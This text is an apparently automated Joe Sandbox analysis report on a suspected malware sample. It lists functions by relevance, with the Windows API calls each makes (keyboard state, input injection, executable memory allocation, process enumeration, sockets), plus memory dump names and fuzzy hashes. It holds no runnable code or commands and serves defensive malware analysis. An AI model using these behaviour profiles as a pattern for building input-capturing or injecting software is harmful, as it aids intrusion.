Instruction Fuzzy Hash: DED01234524713CFD7209F31D91C50676D8AF06355F51C879948DD6550FE70C4D0CA50

Function 00231714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00231718
__swprintf.LIBCMT ref: 00231749

Strings

%.3d, xrefs: 00231723
WIN_XPe, xrefs: 00231788

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 51809cd9bb3d7aec0a0ab70c0835e99b539c33d55ecb706d661b8627dd8061a4
Instruction ID: c308ca4c84487e6ddaef4b26bc830b9acfe6773cd917ba4bdb2ee68b43c7ed3e
Opcode Fuzzy Hash: 51809cd9bb3d7aec0a0ab70c0835e99b539c33d55ecb706d661b8627dd8061a4
Instruction Fuzzy Hash: 29D012B193811CEAC7049A9099898F9B77CAB19311F180452B506E2140E76187B4EA21

Function 0024717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8dcb42422fc20cebaad5aec6ae92b993383004630674f7915279a125ea08550
Instruction ID: 8ee3f08d0159314c8464596fd256c103a91e5fcf90eb3d8e859ed6cfff37aaf4
Opcode Fuzzy Hash: b8dcb42422fc20cebaad5aec6ae92b993383004630674f7915279a125ea08550
Instruction Fuzzy Hash: 1DC1BF74A14216EFCB18CFA4C884EAEBBB5FF48304B118598F819EB251D770ED91DB90

Function 0026E02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 0026E0BE
CharLowerBuffW.USER32(?,?), ref: 0026E101

Part of subcall function 0026D7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0026D7C5

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 0026E301
_memmove.LIBCMT ref: 0026E314

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: b0ee099b3415c6237674fe21fc747957ba2f9e88b8e87582348e4bcc5f21796f
Instruction ID: b96345893ce3304223a07c68a39bb2ce551fd6947f8a6b8e95765426fe47e794
Opcode Fuzzy Hash: b0ee099b3415c6237674fe21fc747957ba2f9e88b8e87582348e4bcc5f21796f
Instruction Fuzzy Hash: 6EC198756183018FCB04DF28C480A6ABBE4FF89314F15896EF8999B351D770E996CF82

Function 00268093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 002680C3
CoUninitialize.OLE32 ref: 002680CE

Part of subcall function 0024D56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0024D5D4

VariantInit.OLEAUT32(?), ref: 002680D9
VariantClear.OLEAUT32(?), ref: 002683AA

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: a6505955ad8046e67bb22714dd34272512742d8b28fe0f84d512274d56a789d2
Instruction ID: 576f1c7e12296d89d3657c2f03cdb412c1df149d604069721fd7bab2d4448ccb
Opcode Fuzzy Hash: a6505955ad8046e67bb22714dd34272512742d8b28fe0f84d512274d56a789d2
Instruction Fuzzy Hash: 0DA179752147059FCB10EF24C891F2AB7E4BF99764F044548FA9A9B3A1CB70EC94CB82

Function 0024687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0024688E
SysAllocString.OLEAUT32(00000000), ref: 00246937
VariantCopy.OLEAUT32 ref: 00246966
VariantClear.OLEAUT32(?), ref: 0024698D

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: b0653db0f39a5c621448f2ca3a14569fffd5d929630f38411aa0098ac7c01429
Instruction ID: 48bd33fead33b2393d0bd40e359d524d70b262c590925f74ea8b30d928d56a92
Opcode Fuzzy Hash: b0653db0f39a5c621448f2ca3a14569fffd5d929630f38411aa0098ac7c01429
Instruction Fuzzy Hash: 7B51EC747347029ACB28AF65D499B3AB3E5AF56310F20C81FE586D7291DBB0D8908B02

Function 002797F4 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(010DEB48,?), ref: 00279863
ScreenToClient.USER32(00000002,00000002), ref: 00279896
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00279903

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: f5e41967854938e038b56d5ba628568cff0315223c922e1b4a5bfad0203aa036
Instruction ID: 794f4ff8b68d29f4a69f1e59938490edcc7bae387968a7d61cc3889ec3d4ffe4
Opcode Fuzzy Hash: f5e41967854938e038b56d5ba628568cff0315223c922e1b4a5bfad0203aa036
Instruction Fuzzy Hash: 36516F30A1020AEFDF10DF54D884AAE7BB6FF45360F10C259F9699B2A0D731AD91CB90

Function 00249A80 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00249AD2
__itow.LIBCMT ref: 00249B03

Part of subcall function 00249D53: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00249DBE

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00249B6C
__itow.LIBCMT ref: 00249BC3

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 40c9ed19694b93b6d44e20b6d35000d6f8f4cb489027ecae248b421cf454dbf5
Instruction ID: 3e6ee1d13d378bd10937f45ab64e1cfd4d4327403be48f16220dfc3366270cf1
Opcode Fuzzy Hash: 40c9ed19694b93b6d44e20b6d35000d6f8f4cb489027ecae248b421cf454dbf5
Instruction Fuzzy Hash: 2241C070A1020DABDF25EF14D846BFF7BB9EF55724F000069FA05A7291DB709A94CBA1

Function 002669AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 002669D1
WSAGetLastError.WSOCK32(00000000), ref: 002669E1

Part of subcall function 001F9837: __itow.LIBCMT ref: 001F9862
Part of subcall function 001F9837: __swprintf.LIBCMT ref: 001F98AC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00266A45
WSAGetLastError.WSOCK32(00000000), ref: 00266A51

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: d3998277e23274d3a7c59aaa29c448d68abc8fbacef394230c65163e289e31b3
Instruction ID: 15d1af6a3049c4ec73cd49271bb306f892ac7ac100a3c1099e53acefb43fe96b
Opcode Fuzzy Hash: d3998277e23274d3a7c59aaa29c448d68abc8fbacef394230c65163e289e31b3
Instruction Fuzzy Hash: 0D41B3757402046FEB60BF64DC8AF7A77A49F14B14F048018FA19AF3D2DBB09D408B91

Function 0026641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,0027F910), ref: 002664A7
_strlen.LIBCMT ref: 002664D9

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: a0001348ed974958f7cec743cc04f4c8193d22a1763b058c4d3593fef97d7757
Instruction ID: cb2b1bf9e18066c29372fe9b32e102c5974ca88355243e072273152cd74a3154
Opcode Fuzzy Hash: a0001348ed974958f7cec743cc04f4c8193d22a1763b058c4d3593fef97d7757
Instruction Fuzzy Hash: AC41D731610108ABCB14FBA4ECCAFBEB7A9AF14314F548155F91A9B2D2DB30AD94CB51

Function 0025B7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 0025B89E
GetLastError.KERNEL32(?,00000000), ref: 0025B8C4
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 0025B8E9
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 0025B915

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 4313fb3b7fc15f089f06e5c63a5acf1d19333d6bd171169c1ddcb28325e19e8f
Instruction ID: 1df4538ae5a28603a88f5b4241e31e0e84fe27322c992e789dd2940b69122eeb
Opcode Fuzzy Hash: 4313fb3b7fc15f089f06e5c63a5acf1d19333d6bd171169c1ddcb28325e19e8f
Instruction Fuzzy Hash: BD413839600659DFCB11EF14C584E69BBE1EF9A350F098098ED4AAB362CB30FD45CB95

Function 00278851 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 002788DE

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 82d3bc35bcab11b23c8c2df8f79fb92a8f7f328c5af9b9d2e6c072a983a83eb8
Instruction ID: d7848c5aa7a757168a1cc5f9c826a122a7c294c65affc641f2d83aa7d2255198
Opcode Fuzzy Hash: 82d3bc35bcab11b23c8c2df8f79fb92a8f7f328c5af9b9d2e6c072a983a83eb8
Instruction Fuzzy Hash: B431D4346A410AFFEB209E68DC4DBB977A5EB05310F548111FB1DE62A1CE70D9A09B53

Function 0027AB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0027AB60
GetWindowRect.USER32(?,?), ref: 0027ABD6
PtInRect.USER32(?,?,0027C014), ref: 0027ABE6
MessageBeep.USER32(00000000), ref: 0027AC57

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 966bea0284b834e29c7622cb00e3596415618193b76c9e858c57c3b2addf9474
Instruction ID: e7957fcdb19e0db9efa920749e86122d05da3d295c954e5497779e6c97d7deb2
Opcode Fuzzy Hash: 966bea0284b834e29c7622cb00e3596415618193b76c9e858c57c3b2addf9474
Instruction Fuzzy Hash: E3416D30610119EFDB12DF58D888B6D7BF5FB89720F14C1AAE91D9F260D730A891CB92

Function 00250AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00250B27
SetKeyboardState.USER32(00000080,?,00000001), ref: 00250B43
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00250BA9
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00250BFB

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 0ca5a5995b632002191187ab61807b4e80c88da69c4d50fa26201d3c02344672
Instruction ID: 5c7cbea9ae5ac1c81e55d361e5d60f68cf117f984c9d8fa1e29e3756b015195a
Opcode Fuzzy Hash: 0ca5a5995b632002191187ab61807b4e80c88da69c4d50fa26201d3c02344672
Instruction Fuzzy Hash: 22316B30D64209AFFF348F25CCC9BF9BBA5AB4531EF08425AEC80511D1C3B489A89759

Function 00250C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,7694C0D0,?,00008000), ref: 00250C66
SetKeyboardState.USER32(00000080,?,00008000), ref: 00250C82
PostMessageW.USER32(00000000,00000101,00000000), ref: 00250CE1
SendInput.USER32(00000001,?,0000001C,7694C0D0,?,00008000), ref: 00250D33

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 9464585bac210855b15121fef31c504681e936dc6ab4d1e3d9b67f70634d9c53
Instruction ID: 4b9e5dc9f9cd0737854be42197800f61d8dd77224074abdddeb7d8587f4505b8
Opcode Fuzzy Hash: 9464585bac210855b15121fef31c504681e936dc6ab4d1e3d9b67f70634d9c53
Instruction Fuzzy Hash: 67315530920209AEFF358E64CC48BFEBBB6EB46323F04431BEC84561D1D37499A98759

Function 002261C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 002261FB
__isleadbyte_l.LIBCMT ref: 00226229
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00226257
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0022628D

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: c65cd8fc33d0f52059a0319683e32c8d4c5ba7d6d4c30b4dfd69a5abe8afc067
Instruction ID: 31285db6e6f702e7854e3ba165054bf48204973d41bbd1ca58230239c944daa0
Opcode Fuzzy Hash: c65cd8fc33d0f52059a0319683e32c8d4c5ba7d6d4c30b4dfd69a5abe8afc067
Instruction Fuzzy Hash: CD31D432614266FFDF218FA4EC49BAA7BA9FF41310F154128E81497191D771EDB0DB90

Function 00274EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00274F02

Part of subcall function 00253641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0025365B
Part of subcall function 00253641: GetCurrentThreadId.KERNEL32 ref: 00253662
Part of subcall function 00253641: AttachThreadInput.USER32(00000000,?,00255005), ref: 00253669

GetCaretPos.USER32(?), ref: 00274F13
ClientToScreen.USER32(00000000,?), ref: 00274F4E
GetForegroundWindow.USER32 ref: 00274F54

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 710321e62535450ad6a9da6b520a1fd45f5548d87f53a40491d00ffde2be1a0d
Instruction ID: 966117070d09229e90408bfbef4aa27362612f7d71f249cbd1e0c269224aa2f6
Opcode Fuzzy Hash: 710321e62535450ad6a9da6b520a1fd45f5548d87f53a40491d00ffde2be1a0d
Instruction Fuzzy Hash: 4031F871D10108AFDB00EFA5C985AEFB7F9EF99300B10406AE915E7241EB719E558FA1

Function 00253C55 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00253C7A
Process32FirstW.KERNEL32(00000000,?), ref: 00253C88
Process32NextW.KERNEL32(00000000,?), ref: 00253CA8
CloseHandle.KERNEL32(00000000), ref: 00253D52

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 84fe65cfffb5de01217a2f67c18020ebf2473483973314fc6bbe22945239e6a7
Instruction ID: d2e71b175a9b7ba76df361f6ed86669a46cdeb01a4c6d17576b120d8102976ec
Opcode Fuzzy Hash: 84fe65cfffb5de01217a2f67c18020ebf2473483973314fc6bbe22945239e6a7
Instruction Fuzzy Hash: 6F31B4711083099FD305EF60D885ABFBBF8FF95354F50082DF986861A1EBB19A49CB52

Function 0027C498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001F2612: GetWindowLongW.USER32(?,000000EB), ref: 001F2623

GetCursorPos.USER32(?), ref: 0027C4D2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0022B9AB,?,?,?,?,?), ref: 0027C4E7
GetCursorPos.USER32(?), ref: 0027C534
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0022B9AB,?,?,?), ref: 0027C56E

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: bc457bd8476128ec7c8127d77c19fbbe205fa4bebb7172c0d362bdaab5141fe7
Instruction ID: 3aac3a1e5c2dc18dc35f42f540fd3bfff232c329b5a9ab89110f7b40c0cacf25
Opcode Fuzzy Hash: bc457bd8476128ec7c8127d77c19fbbe205fa4bebb7172c0d362bdaab5141fe7
